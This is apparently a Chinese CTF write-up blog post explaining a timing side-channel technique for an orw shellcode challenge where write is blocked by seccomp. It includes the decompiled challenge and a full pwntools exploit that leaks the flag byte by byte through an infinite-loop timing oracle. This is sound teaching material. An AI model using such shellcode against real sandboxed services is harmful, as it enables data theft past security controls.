ORW-测信道攻击

做SCTF时碰到一个没看过的题型,比赛结束之后才知道是orw的一个玩法,测信道攻击。主要特点就是只给使用open,read,但是不给write,即无法把flag输出到终端。这里可以通过把flag读到栈上,再逐个爆破比较,来确定flag。原理和web的时间盲注类似。

下面给出一个UNCTF的测信道攻击的例题:

 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
 2 {
 3   unsigned int v3; // eax
 4   __int64 v5; // [rsp+50h] [rbp-40h]
 5   __int64 v6; // [rsp+58h] [rbp-38h]
 6   __int128 buf; // [rsp+60h] [rbp-30h] BYREF
 7   __int64 v8; // [rsp+70h] [rbp-20h]
 8   unsigned __int64 v9; // [rsp+80h] [rbp-10h]
 9 
10   v9 = __readfsqword(0x28u);
11   sub_AE0(a1, a2, a3);
12   buf = 0LL;
13   v8 = 0LL;
14   puts("Are you a shellcode master?");
15   alarm(0x14u);
16   v3 = getpagesize();
17   v6 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);
18   read(0, &buf, 0x18uLL);
19   prctl(38, 1LL, 0LL, 0LL, 0LL);
20   v5 = seccomp_init(0LL);
21   seccomp_rule_add(v5, 2147418112LL, 15LL, 0LL);
22   seccomp_rule_add(v5, 2147418112LL, 2LL, 0LL);
23   seccomp_rule_add(v5, 2147418112LL, 0LL, 0LL);
24   seccomp_rule_add(v5, 2147418112LL, 10LL, 0LL);
25   seccomp_load(v5);
26   *(_QWORD *)(v6 + 16) = v8;
27   *(_OWORD *)v6 = buf;
28   ((void (__fastcall *)(__int64, __int64))v6)(3735928559LL, 4919LL);
29   return 0LL;
30 }

主函数的开头mmap了一块大空间,然后读入数据到buf,接着会把分配的那块内存的开头赋为我们刚刚读入的内容,并且执行。

读入的0x18并不足够写入整个orw_shellcode,所以我们先写入一个shellcode来读取内容,再进行爆破。

下面是exp:

 1 import time
 2 from pwn import *
 3 
 4 context.arch='amd64'
 5 
 6 def getshellcode():
 7     global s
 8     shellcode = '''
 9         mov rdi, 0
10         mov rsi, 0x10018
11         mov rdx, 0x250
12         syscall
13         nop
14         '''
15     s.recvline()
16     s.send(asm(shellcode))
17     sleep(0.1)
18 
19 def pwn():
20     global s
21     flag = ''
22     count = 1
23     for i in range (len(flag),0x50):
24         left = 32
25         right = 127
26         while left < right:
27             s = process('./ezshell')
28             #s = remote('node2.hackingfor.fun',38235)
29             getshellcode()
30             mid = (left + right) >> 1
31             orw_shellcode = f'''
32                 mov rdi, 0x67616c662f2e
33                 push rdi
34                 mov rdi, rsp
35                 mov rsi, 0
36                 mov rdx, 0
37                 mov rax, 2
38                 syscall
39                 mov rdi, 3
40                 mov rsi, rsp
41                 mov rdx, 0x100
42                 mov rax, 0
43                 syscall
44                 mov dl, byte ptr [rsp+{i}]
45                 mov cl, {mid}
46                 cmp dl, cl
47                 ja loop
48                 ret
49                 loop:
50                 jmp loop
51             '''
52             s.sendline(asm(orw_shellcode))
53             start_time = time.time()
54             try:
55                 s.recv(timeout=0.2)
56                 if(time.time() - start_time > 0.1):
57                     left = mid + 1
58             except:
59                 right = mid
60             s.close()
61             log.info('time-->'+str(count))
62             log.info(flag)
63             count +=1
64         flag += chr(left)
65         log.info(flag)
66         if(flag[-1] == '}'):
67             break
68 pwn()
69 s.interactive()

题目附件
提取码:2efj

posted @ 2021-12-31 23:17  狒猩橙  阅读(450)  评论(1编辑  收藏  举报